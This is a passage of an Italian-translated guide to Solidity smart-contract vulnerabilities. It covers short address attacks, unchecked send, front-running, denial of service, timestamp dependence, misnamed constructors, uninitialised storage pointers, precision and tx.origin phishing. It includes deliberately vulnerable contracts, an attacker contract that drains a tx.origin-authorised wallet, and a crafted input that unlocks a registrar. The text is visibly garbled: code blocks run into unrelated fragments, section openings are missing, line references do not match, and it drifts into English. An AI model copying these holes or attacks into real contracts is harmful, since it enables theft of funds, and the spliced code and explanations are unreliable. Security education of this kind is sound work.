Now consider, un exchange che detiene una grande quantità di un token (ad esempio `REP`) e un utente che desidera ritirare la propria quota di 100 token. L'utente invierebbe il proprio indirizzo, `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead`, e il numero di token, `100`. L'exchange codificherebbe questi parametri nell'ordine specificato dalla funzione `transfer()`, cioè `address` e poi `tokens`. Il risultato codificato sarebbe `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`. I primi quattro byte (`a9059cbb`) sono il [selettore/firma di funzione](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) di `transfer()`, i successivi 32 byte sono l'indirizzo, seguiti dagli ultimi 32 byte che rappresentano il numero `uint256` di token. Si noti che l'esadecimale `56bc75e2d63100000` alla fine corrisponde a 100 token (con 18 decimali, come specificato dal contratto del token `REP`).

Ok, quindi ora vediamo cosa succede se inviamo un indirizzo a cui manca 1 byte (2 cifre esadecimali). Nello specifico, supponiamo che un attaccante invii `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` come indirizzo (mancano le ultime due cifre) e gli stessi `100` token da ritirare. Se l'exchange non valida questo input, verrebbe codificato come `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. La differenza è sottile. Notare che `00` è stato aggiunto in coda alla codifica, per compensare l'indirizzo corto inviato. Quando questo viene inviato allo smart contract, i parametri `address` verranno letti come `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` e il valore verrà letto come `56bc75e2d6310000000` (si notino i due `0` extra). Questo valore ora corrisponde a `25600` token (il valore è stato moltiplicato per `256`). In questo esempio, se l'exchange detenesse così tanti token, l'utente ritirerebbe `25600` token (mentre l'exchange pensa che l'utente ne stia ritirando solo `100`) all'indirizzo modificato. Ovviamente in questo esempio l'attaccante non possiederà l'indirizzo modificato, ma se l'attaccante generasse un qualsiasi indirizzo che termina con `0` (che può essere facilmente forzato brute-force) e usasse questo indirizzo generato, potrebbe facilmente rubare token all'exchange ignaro.

<h3 id="short-prev">Tecniche di prevenzione</h3>

Suppongo che sia ovvio affermare che validare tutti gli input prima di inviarli alla blockchain prevenga questo tipo di attacchi. Va inoltre notato che l'ordinamento dei parametri gioca un ruolo importante qui. Poiché il padding avviene solo alla fine, un attento ordinamento dei parametri nello smart contract può potenzialmente mitigare alcune forme di questo attacco.

<h3 id="short-example">Esempio reale: sconosciuto</h3>

Non sono a conoscenza di alcun attacco pubblicizzato di questo tipo.

<h2 id="unchecked-calls"><span id="SP-9">9. Valori di ritorno di CALL non controllati</span></h2>

Esistono diversi modi per effettuare chiamate esterne in Solidity. L'invio di ether a conti esterni viene comunemente eseguito tramite il metodo `transfer()`. Tuttavia, si può usare anche la funzione `send()` e, per chiamate esterne più versatili, l'opcode `CALL` può essere impiegato direttamente in Solidity. Le funzioni `call()` e `send()` restituiscono un booleano che indica se la chiamata è riuscita o fallita. Queste funzioni hanno quindi una semplice avvertenza: la transazione che esegue queste funzioni non verrà annullata (non farà revert) se la chiamata esterna (inizializzata da `call()` o `send()`) fallisce; piuttosto, `call()` o `send()` restituiranno semplicemente `false`. Una trappola comune si verifica quando il valore di ritorno non viene controllato, e lo sviluppatore si aspetta invece che avvenga un revert.

Per ulteriori letture, consultare [DASP Top 10](http://www.dasp.co/#item-4) e [Scansione dei contratti Ethereum live per il bug "Unchecked-Send"](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).

<h3 id="unchecked-calls-vuln">La vulnerabilità</h3>

Considera il seguente esempio:```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
    //Mark the round as cashed

Nota che alla riga \[21\] il valore di ritorno della funzione `send` non viene controllato, e la riga successiva imposta un booleano che indica che al vincitore sono stati inviati i fondi. Questo bug può consentire uno stato in cui il vincitore non riceve i suoi ether, ma lo stato del contratto può indicare che il vincitore è già stato pagato.

Una versione più grave di questo bug si è verificata in [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). È stato scritto un eccellente [post-mortem](https://www.kingoftheether.com/postmortem.html) di questo contratto che descrive in dettaglio come un `send()` fallito e non controllato potesse essere usato per attaccare il contratto.


<h2 id="race-conditions"><span id="SP-10">10. Condizioni di gara / Front Running</span></h2>

La combinazione di chiamate esterne ad altri contratti e la natura multi-utente della blockchain sottostante dà origine a una varietà di potenziali insidie di Solidity in cui gli utenti *gareggiano* nell'esecuzione del codice per ottenere stati inattesi. [Re-Entrancy](#reentrancy) è un esempio di una tale condizione di gara. In questa sezione parleremo più in generale dei diversi tipi di condizione di gara che possono verificarsi sulla blockchain di Ethereum. Esiste una varietà di buoni articoli su questo argomento, alcuni dei quali sono: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) e [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).

<h3 id="race-conditions-vuln">La vulnerabilità</h3>

Come per la maggior parte delle blockchain, i nodi Ethereum mettono in pool le transazioni e le raggruppano in blocchi. Le transazioni sono considerate valide solo dopo che un miner ha risolto un meccanismo di consenso (attualmente [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW per Ethereum). Il miner che risolve il blocco sceglie anche quali transazioni dal pool saranno incluse nel blocco; in genere sono ordinate in base al `gasPrice` di una transazione. Qui risiede un potenziale vettore di attacco. Un attaccante può osservare il pool di transazioni alla ricerca di transazioni che possano contenere soluzioni a problemi, modificare o revocare i permessi dell'attaccante o cambiare uno stato in un contratto che è indesiderabile per l'attaccante. L'attaccante può quindi ottenere i dati di questa transazione e creare una propria transazione con un `gasPrice` più alto e far includere la propria transazione in un blocco prima di quella originale.

Vediamo come potrebbe funzionare con un semplice esempio. Considera il contratto `FindThisHash.sol`:```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

Questa funzione consente a un utente di permettere ad altri utenti di trasferire token per suo conto. La vulnerabilità di frontrunning si presenta nello scenario in cui un utente, Alice, *approva* il suo amico `Bob` a spendere `100 token`. Alice in seguito decide di voler revocare l'approvazione di `Bob` a spendere `100 token`, quindi crea una transazione che imposta l'allocazione di `Bob` a `50 token`. `Bob`, che ha osservato attentamente la catena, vede questa transazione e costruisce una propria transazione per spendere i `100 token`. Mette un `gasPrice` più alto sulla sua transazione rispetto a quello di `Alice` e fa sì che la sua transazione venga prioritizzata rispetto a quella di lei. Alcune implementazioni di `approve()` permetterebbero a `Bob` di trasferire i suoi `100 token`, poi, quando la transazione di `Alice` viene committata, reimpostano l'approvazione di `Bob` a `50 token`, di fatto dando a `Bob` accesso a `150 token`. Le strategie di mitigazione di questo attacco sono fornite [qui](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) nel documento collegato sopra.

Un altro esempio importante e reale è [Bancor](https://www.bancor.network/). Ivan Bogatty e il suo team hanno documentato un attacco redditizio sull'implementazione iniziale di Bancor. Il suo [post sul blog](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) e il [talk Devon 3](https://www.youtube.com/watch?v=RL2nE3huNiI) discutono in dettaglio come è stato fatto. In sostanza, i prezzi dei token sono determinati in base al valore della transazione; gli utenti possono osservare il pool di transazioni per le transazioni Bancor ed eseguire front running su di esse per trarre profitto dalle differenze di prezzo. Questo attacco è stato affrontato dal team di Bancor.

<h2 id="dos"><span id="SP-11">11. Denial of Service (DOS)</span></h2>

Questa categoria è molto ampia, ma fondamentalmente consiste in attacchi in cui gli utenti possono rendere il contratto inoperabile per un breve periodo di tempo o, in alcuni casi, permanentemente. Questo può intrappolare ether in questi contratti per sempre, come è stato il caso con il [secondo hack di Parity MultiSig](#dc-example)

<h3 id="dos-vuln">La Vulnerabilità</h3>

Ci sono vari modi in cui un contratto può diventare inoperabile. Qui evidenzierò solo alcuni pattern di codifica Solidity della Blockchain, potenzialmente meno ovvi, che possono portare gli attaccanti a eseguire attacchi DOS.

**1. Chiamate esterne senza stipendi di gas** - Potrebbe essere il caso che tu voglia
fare una chiamata esterna a un contratto sconosciuto e continuare a elaborare la
transazione indipendentemente dal fatto che la chiamata fallisca o meno. Tipicamente questo è
ottenuto usando l'opcode `CALL`, che non esegue il revert della transazione
se la chiamata fallisce (vedi [Valori di ritorno CALL non controllati](#unchecked-calls) per ulteriori dettagli ed esempi).
Consideriamo un semplice esempio, in cui abbiamo un portafoglio contrattuale che lentamente
eroga ether quando viene chiamata la funzione `withdraw()`. Un `partner` può
aggiungere il proprio indirizzo e spendere gas per chiamare il prelievo, dando sia al
`partner` che all'`owner` l'1% del saldo totale del contratto.```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

Se un partner di prelievo decidesse che non gradisce il proprietario del contratto.
Potrebbe impostare l'indirizzo del partner su questo contratto e bloccare tutti i fondi in
il contratto `TrickleWallet` per sempre.

Per prevenire tali vettori di attacco DoS, assicurati che venga specificato uno stipendio di gas in una
chiamata esterna, per limitare la quantità di gas che quella transazione può utilizzare. Nel nostro
esempio, potremmo rimediare a questo attacco modificando la riga \[17\] in:```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

Si noti che il ciclo in questo contratto opera su un array che può essere gonfiato artificialmente. Un attaccante può creare molti account utente rendendo l'array `investor` di grandi dimensioni. In linea di principio, ciò può essere fatto in modo che il gas richiesto per eseguire il ciclo for superi il limite di gas del blocco, rendendo di fatto inutilizzabile la funzione `distribute()`.

**3. Operazioni del proprietario** - Un altro modello comune è quello in cui i proprietari hanno privilegi specifici nei contratti e devono eseguire un compito affinché il contratto proceda allo stato successivo. Un esempio potrebbe essere un contratto ICO che richiede al proprietario di `finalize()` il contratto, il che successivamente consente ai token di essere trasferibili, cioè``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

This contract behaves like a simple lottery. One transaction per block can bet `10 ether` for a chance to win the balance of the contract. The assumption here is that, `block.timestamp` is uniformly distributed about the last two digits. If that were the case, there would be a 1/15 chance of winning this lottery.

However, as we know, miners can adjust the timestamp, should they need to.  In this particular case, if enough ether pooled in the contract, a miner who solves a block is incentivised to choose a timestamp such that `block.timestamp` or `now` modulo 15 is `0`. In doing so they may win the ether locked in this contract along with the block reward. As there is only one person allowed to bet per block, this is also vulnerable to [front-running](#race-conditions) attacks.

In practice, block timestamps are monotonically increasing and so miners cannot choose arbitrary block timestamps (they must be larger than their predecessors). They are also limited to setting blocktimes not too far in the future as these blocks will likely be rejected by the network (nodes will not validate blocks whose timestamps are in the future).

<h3 id="block-timestamp-prev">Tecniche Preventive</h3>

Block timestamps should not be used for entropy or generating random numbers - i.e. they should not be the deciding factor (either directly or through some derivation) for winning a game or changing an important state (if assumed to be random).

Time-sensitive logic is sometimes required; i.e. unlocking contracts (timelocking), completing an ICO after a few weeks or enforcing expiry dates. It is sometimes recommend to use `block.number` (see the [documentazione di Solidity](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)) and an average block time to estimate times; cioè, `1 week` con un tempo di blocco di `10 second` equivale approssimativamente a `60480 blocks`. Thus, specifying a block number at which to change a contract state can be more secure as miners are unable to manipulate the block number as easily. The [BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) contract employed this strategy.

This can be unnecessary if contracts aren't particularly concerned with miner manipulations of the block timestamp, but it is something to be aware of when developing contracts.

<h3 id="block-timestamp-example">Esempio Reale: GovernMental </h3>

[GovernMental](http://governmental.github.io/GovernMental/) was an old Ponzi scheme that accumulated quite a large amount of ether. It was also vulnerable to a timestamp-based attack. The contract payed out to the player who was the last player to join (for at least one minute) in a round. Thus, a miner who was a player, could adjust the timestamp (to a future time, to make it look like a minute had elapsed) to make it appear that the player was the last to join for over a minute (even though this is not true in reality). More detail on this can be found in the [Post sulla Storia delle Vulnerabilità di Sicurezza di Ethereum](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) by Tanya Bahrynovska.

<h2 id="constructors"><span id="SP-13">13. Costruttori con Cura</span></h2>

Constructors are special functions which often perform critical, privileged tasks when initialising contracts. Before solidity `v0.4.22` constructors were defined as functions that had the same name as the contract that contained them. Thus, when a contract name gets changed in development, if the constructor name isn't changed, it becomes a normal, callable function. As you can imagine, this can (and has) lead to some interesting contract hacks.

For further reading, I suggest the reader attempt the [Sfide di Ethernaught](https://github.com/OpenZeppelin/ethernaut) (in particular the Fallout level).

<h3 id="constructors-vuln">La Vulnerabilità</h3>

If the contract name gets modified, or there is a typo in the constructor's name such that it no longer matches the name of the contract, the constructor will behave like a normal function. This can lead to dire consequences, especially if the constructor is performing privileged operations. Consider the following contract```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

bool public unlocked = false;  // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
    bytes32 name;
    address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
    // set up the new NameRecord
    NameRecord newRecord;
    newRecord.name = _name;
    newRecord.mappedAddress = _mappedAddress;

    resolve[_name] = _mappedAddress;
    registeredNameRecord[msg.sender] = newRecord;

    require(unlocked); // only allow registrations if contract is unlocked
}

Questo semplice registrar di nomi ha una sola funzione. Quando il contratto è `unlocked`, consente a chiunque di registrare un nome (come hash `bytes32`) e mappare quel nome a un indirizzo. Purtroppo, questo registrar è inizialmente bloccato e il `require` alla riga \[23\] impedisce a `register()` di aggiungere record di nomi. C'è tuttavia una vulnerabilità in questo contratto che consente la registrazione dei nomi indipendentemente dalla variabile `unlocked`.

Per discutere questa vulnerabilità, dobbiamo prima capire come funziona lo storage in Solidity. Come panoramica di alto livello (senza entrare in dettagli tecnici: suggerisco di leggere la documentazione di Solidity per una revisione approfondita), le variabili di stato vengono memorizzate in sequenza in *slot* così come appaiono nel contratto (possono essere raggruppate, ma non in questo esempio, quindi non ci preoccuperemo di questo). Quindi, `unlocked` si trova nello `slot 0`, `registeredNameRecord` nello `slot 1` e `resolve` nello `slot 2`, ecc. Ciascuno di questi slot ha dimensione di 32 byte (ci sono complessità aggiuntive con le mappature, che ignoriamo per ora). Il booleano `unlocked` apparirà come `0x000...0` (64 zeri, escluso `0x`) per `false` o `0x000...1` (63 zeri) per `true`. Come puoi vedere, in questo particolare esempio c'è un notevole spreco di storage.

La successiva informazione di cui abbiamo bisogno è che Solidity imposta come predefinito i tipi di dati complessi, come gli `struct`, a `storage` quando li inizializza come variabili locali. Pertanto, `newRecord` alla riga \[16\] ha come default `storage`. La vulnerabilità è causata dal fatto che `newRecord` non è inizializzata. Poiché il default è storage, diventa un puntatore allo storage e, poiché non è inizializzata, punta allo slot `0` (cioè dove è memorizzato `unlocked`). Nota che nelle righe \[17\] e \[18\] impostiamo `nameRecord.name` a `_name` e `nameRecord.mappedAddress` a `_mappedAddress`; questo di fatto modifica la posizione di storage dello slot 0 e dello slot 1, modificando sia `unlocked` che lo slot di storage associato a `registeredNameRecord`.

Ciò significa che `unlocked` può essere modificato direttamente, semplicemente tramite il parametro `bytes32 _name` della funzione `register()`. Quindi, se l'ultimo byte di `_name` è diverso da zero, modificherà l'ultimo byte dello storage `slot 0` e cambierà direttamente `unlocked` in `true`. Tali valori di `_name` supereranno il `require()` alla riga \[23\] poiché stiamo impostando `unlocked` a `true`. Prova questo in Remix. Nota che la funzione avrà successo se utilizzi un `_name` della forma: `0x0000000000000000000000000000000000000000000000000000000000000001`

<h3 id="storage-prev">Tecniche di prevenzione</h3>

Il compilatore Solidity segnala le variabili di storage non inizializzate come warning, quindi gli sviluppatori dovrebbero prestare molta attenzione a questi avvisi quando creano smart contract. La versione attuale di mist (0.10) non consente di compilare questi contratti. È buona pratica usare esplicitamente le parole chiave `memory` o `storage` quando si ha a che fare con tipi complessi, per garantire che si comportino come previsto. A partire dalla versione `0.5.0` di Solidity, l'uso di `memory` e `storage` è obbligatorio.

<h3 id="storage-example">Esempi reali: Honeypot: OpenAddressLottery e CryptoRoulette</h3>

Un honeypot chiamato OpenAddressLottery ([codice del contratto](https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code)) è stato distribuito e utilizzava questa peculiarità della variabile di storage non inizializzata per raccogliere ether da alcuni aspiranti hacker. Il contratto è piuttosto complesso, quindi lascio la discussione a questo [thread di Reddit](https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/) dove l'attacco è spiegato in modo abbastanza chiaro.

Un altro honeypot, CryptoRoulette ([codice del contratto](https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code)), utilizza anche questo trucco per cercare di raccogliere un po' di ether. Se non riesci a capire come funziona l'attacco, vedi [An analysis of a couple Ethereum honeypot contracts](https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d) per una panoramica di questo contratto e di altri.

<h2 id="precision"><span id="SP-15">15. Numeri a virgola mobile e precisione</span></h2>

Al momento in cui scrivo (Solidity v0.4.24), i numeri a virgola fissa o mobile non sono supportati. Ciò significa che le rappresentazioni a virgola mobile devono essere realizzate con i tipi interi in Solidity. Questo può portare a errori/vulnerabilità se non implementato correttamente.

Per ulteriori letture, vedi [Ethereum Contract Security Techniques and Tips - Rounding with Integer Division](https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division),

<h3 id="precision-vuln">La vulnerabilità</h3>

Poiché non esiste un tipo a virgola fissa in Solidity, gli sviluppatori devono implementarne uno proprio utilizzando i tipi di dati interi standard. Ci sono diverse insidie in cui gli sviluppatori possono imbattersi durante questo processo. Cercherò di evidenziarne alcune in questa sezione.

Iniziamo con un esempio di codice (ignoriamo per semplicità qualsiasi problema di overflow/underflow).```solidity
contract FunWithNumbers {
    uint constant public tokensPerEth = 10;
    uint constant public weiPerEth = 1e18;
    mapping(address => uint) public balances;

    function buyTokens() public payable {
        uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
        balances[msg.sender] += tokens;
    }

    function sellTokens(uint tokens) public {
        require(balances[msg.sender] >= tokens);
        uint eth = tokens/tokensPerEth;
        balances[msg.sender] -= tokens;
        msg.sender.transfer(eth*weiPerEth); //
    }
}

constructor (address _owner) {
    owner = _owner;
}

function () public payable {} // collect ether

function withdrawAll(address _recipient) public {
    require(tx.origin == owner);
    _recipient.transfer(this.balance);
}

Si noti che alla riga \[11\] questo contratto autorizza la funzione `withdrawAll()` utilizzando `tx.origin`. Questo contratto consente a un attaccante di creare un contratto d'attacco della forma,```solidity
import "Phishable.sol";

contract AttackContract {

    Phishable phishableContract;
    address attacker; // The attackers address to receive funds.

    constructor (Phishable _phishableContract, address _attackerAddress) {
        phishableContract = _phishableContract;
        attacker = _attackerAddress;
    }

    function () payable {
        phishableContract.withdrawAll(attacker);
    }
}

// determine future addresses which can hide ether.
function futureAddresses(uint8 nonce) public view returns (address) {
    if(nonce == 0) {
        return address(keccak256(0xd6, 0x94, this, 0x80));
    }
    return address(keccak256(0xd6, 0x94, this, nonce));
// need to implement rlp encoding properly for a full range of nonces
}

// increment the contract nonce or retrieve ether from a hidden/key-less account
// provided the nonce is correct
function retrieveHiddenEther(address beneficiary) public returns (address) {
    currentContractNonce +=1;
    return new RecoverContract(beneficiary);
}